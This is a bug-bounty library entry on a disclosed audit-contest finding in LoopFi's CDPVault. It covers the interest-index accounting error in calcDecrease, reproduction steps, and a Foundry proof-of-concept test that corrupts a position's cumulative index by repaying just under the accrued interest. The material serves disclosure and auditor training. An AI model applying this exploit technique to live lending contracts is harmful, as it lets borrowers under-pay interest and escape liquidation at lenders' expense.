# Incorrect calculation of newCumulativeIndex in function calcDecrease

CDPVault.calcDecrease uses profit (including quota interest) to compute newCumulativeIndex, inflating it above cumulativeIndexNow and under-charging interest, blocking liquidations.

- Payout: Audit contest
- Severity: medium
- Program: LoopFi
- Found by: hearmen
- Disclosed: 2025-02-17
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-07-loopfi-findings/issues/201
- Library page: https://bugbountylibrary.com/r/c4%3A2024-07-loopfi%3AM-16
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:medium tech:solidity technique:source-review vuln:accounting-error vuln:liquidation

**Target:** CDPVault.sol calcDecrease interest index accounting
**Root cause:** newCumulativeIndex is derived from `profit`, which already includes cumulativeQuotaInterest, so the index is computed against a larger repayment than the actual interest portion, exceeding cumulativeIndexNow.
**Steps:**
1. Create CDPVault with quota interest enabled; open position with collateral and debt via `modifyCollateralAndDebt`.
2. Warp time forward (e.g. 865 days) so interest accrues.
3. Read `getDebtInfo` to get totalInterest, then repay `-(totalInterest - 1)` via `modifyCollateralAndDebt`.
4. Read `positions()` cumulativeIndexLastUpdate and `liquidityPool.baseInterestIndex()`; observe cumulativeIndexLastUpdate > cumulativeIndexNow.
**How found:** Code reading of calcDecrease branches: noticed profit accumulates cumulativeQuotaInterest before being reused in the index formula, and reasoned that repaying interestAccrued-1 yields an index exceeding cumulativeIndexNow.
**Exploitation:** Repay just under accrued interest so the else-branch runs; profit includes quota interest, inflating newCumulativeIndex beyond cumulativeIndexNow. Position's stored index is corrupted, under-accruing interest and preventing timely liquidation.
**Insight:** When a variable accumulates multiple interest components (base + quota), check every downstream formula that consumes it — index/rate recomputation must use only the base-interest portion, not the aggregate profit.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test showing cumulativeIndexLastUpdate exceeds cumulativeIndexNow**

```
function test_calcDecrese_poc() public {
        //CDPVault vault = createCDPVault(token, 150 ether, 0, 1.25 ether, 1.0 ether, 0);
        CDPVault vault = createCDPVault(token, 150 ether, 0, 1.25 ether, 1 ether, 0.95 ether);
        createGaugeAndSetGauge(address(vault));

        // create position
        token.mint(address(this), 1000 ether);
        token.approve(address(vault), 100 ether);
        vault.modifyCollateralAndDebt(address(this), address(this), address(this), 100 ether, 70 ether);

        vm.warp(block.timestamp + 865 days);

     

        (, uint256 totalInterest, ) = vault.getDebtInfo(address(this));

        mockWETH.mint(address(this), 500 ether);
        mockWETH.approve(address(vault), 200 ether);
        
        int256 repayAmount = -(int256(totalInterest - 1));

        vault.modifyCollateralAndDebt(address(this), address(this), address(this), 0, repayAmount);
        
        (,,,uint256 cumulativeIndexLastUpdate,, ) = vault.positions(address(this));
        uint256 cumulativeIndexNow = liquidityPool.baseInterestIndex();

        console.log("cumulativeIndexLastUpdate",cumulativeIndexLastUpdate);
        console.log("cumulativeIndexNow",cumulativeIndexNow);


    }
```

